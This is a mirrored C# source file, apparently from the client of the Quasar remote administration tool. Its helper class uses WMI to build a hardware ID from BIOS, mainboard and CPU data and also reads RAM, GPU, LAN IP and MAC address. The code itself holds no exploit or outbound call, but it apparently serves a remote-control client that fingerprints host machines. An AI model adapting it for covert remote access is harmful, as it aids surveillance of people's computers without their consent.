mirror of
https://github.com/quasar/Quasar.git
synced 2026-10-24 17:31:11 +08:00
- Improved Client Installation, Update and Uninstallation - Improved Registry Access - Split SystemCore class
190 lines
6.1 KiB
C#
190 lines
6.1 KiB
C#
using System;
|
|
using System.Management;
|
|
using System.Net.NetworkInformation;
|
|
using System.Net.Sockets;
|
|
using xClient.Core.Encryption;
|
|
|
|
namespace xClient.Core.Helper
|
|
{
|
|
public static class DevicesHelper
|
|
{
|
|
public static string HardwareId { get; private set; }
|
|
|
|
static DevicesHelper()
|
|
{
|
|
HardwareId = SHA256.ComputeHash(GetCpuName() + GetMainboardIdentifier() + GetBiosIdentifier());
|
|
}
|
|
|
|
public static string GetBiosIdentifier()
|
|
{
|
|
try
|
|
{
|
|
string biosIdentifier = string.Empty;
|
|
string query = "SELECT * FROM Win32_BIOS";
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
{
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
{
|
|
biosIdentifier = mObject["Manufacturer"].ToString();
|
|
break;
|
|
}
|
|
}
|
|
|
|
return (!string.IsNullOrEmpty(biosIdentifier)) ? biosIdentifier : "N/A";
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
|
|
return "Unknown";
|
|
}
|
|
|
|
public static string GetMainboardIdentifier()
|
|
{
|
|
try
|
|
{
|
|
string mainboardIdentifier = string.Empty;
|
|
string query = "SELECT * FROM Win32_BaseBoard";
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
{
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
{
|
|
mainboardIdentifier = mObject["Manufacturer"].ToString() + mObject["SerialNumber"].ToString();
|
|
break;
|
|
}
|
|
}
|
|
|
|
return (!string.IsNullOrEmpty(mainboardIdentifier)) ? mainboardIdentifier : "N/A";
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
|
|
return "Unknown";
|
|
}
|
|
|
|
public static string GetCpuName()
|
|
{
|
|
try
|
|
{
|
|
string cpuName = string.Empty;
|
|
string query = "SELECT * FROM Win32_Processor";
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
{
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
{
|
|
cpuName = mObject["Name"].ToString() + "; ";
|
|
}
|
|
}
|
|
cpuName = FormatHelper.RemoveEnd(cpuName);
|
|
|
|
return (!string.IsNullOrEmpty(cpuName)) ? cpuName : "N/A";
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
|
|
return "Unknown";
|
|
}
|
|
|
|
public static int GetTotalRamAmount()
|
|
{
|
|
try
|
|
{
|
|
int installedRAM = 0;
|
|
string query = "Select * From Win32_ComputerSystem";
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
{
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
{
|
|
double bytes = (Convert.ToDouble(mObject["TotalPhysicalMemory"]));
|
|
installedRAM = (int)(bytes / 1048576);
|
|
}
|
|
}
|
|
|
|
return installedRAM;
|
|
}
|
|
catch
|
|
{
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
public static string GetGpuName()
|
|
{
|
|
try
|
|
{
|
|
string gpuName = string.Empty;
|
|
string query = "SELECT * FROM Win32_DisplayConfiguration";
|
|
|
|
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
|
|
{
|
|
foreach (ManagementObject mObject in searcher.Get())
|
|
{
|
|
gpuName = mObject["Description"].ToString() + "; ";
|
|
}
|
|
}
|
|
gpuName = FormatHelper.RemoveEnd(gpuName);
|
|
|
|
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
|
|
}
|
|
catch
|
|
{
|
|
return "Unknown";
|
|
}
|
|
}
|
|
|
|
public static string GetLanIp()
|
|
{
|
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
|
{
|
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
|
ni.OperationalStatus == OperationalStatus.Up)
|
|
{
|
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
|
{
|
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
|
continue;
|
|
|
|
return ip.Address.ToString();
|
|
}
|
|
}
|
|
}
|
|
|
|
return "-";
|
|
}
|
|
|
|
public static string GetMacAddress()
|
|
{
|
|
foreach (NetworkInterface ni in NetworkInterface.GetAllNetworkInterfaces())
|
|
{
|
|
if (ni.NetworkInterfaceType == NetworkInterfaceType.Wireless80211 ||
|
|
ni.NetworkInterfaceType == NetworkInterfaceType.Ethernet &&
|
|
ni.OperationalStatus == OperationalStatus.Up)
|
|
{
|
|
bool foundCorrect = false;
|
|
foreach (UnicastIPAddressInformation ip in ni.GetIPProperties().UnicastAddresses)
|
|
{
|
|
if (ip.Address.AddressFamily != AddressFamily.InterNetwork ||
|
|
ip.AddressPreferredLifetime == UInt32.MaxValue) // exclude virtual network addresses
|
|
continue;
|
|
|
|
foundCorrect = (ip.Address.ToString() == GetLanIp());
|
|
}
|
|
|
|
if (foundCorrect)
|
|
return FormatHelper.FormatMacAddress(ni.GetPhysicalAddress().ToString());
|
|
}
|
|
}
|
|
|
|
return "-";
|
|
}
|
|
}
|
|
}
|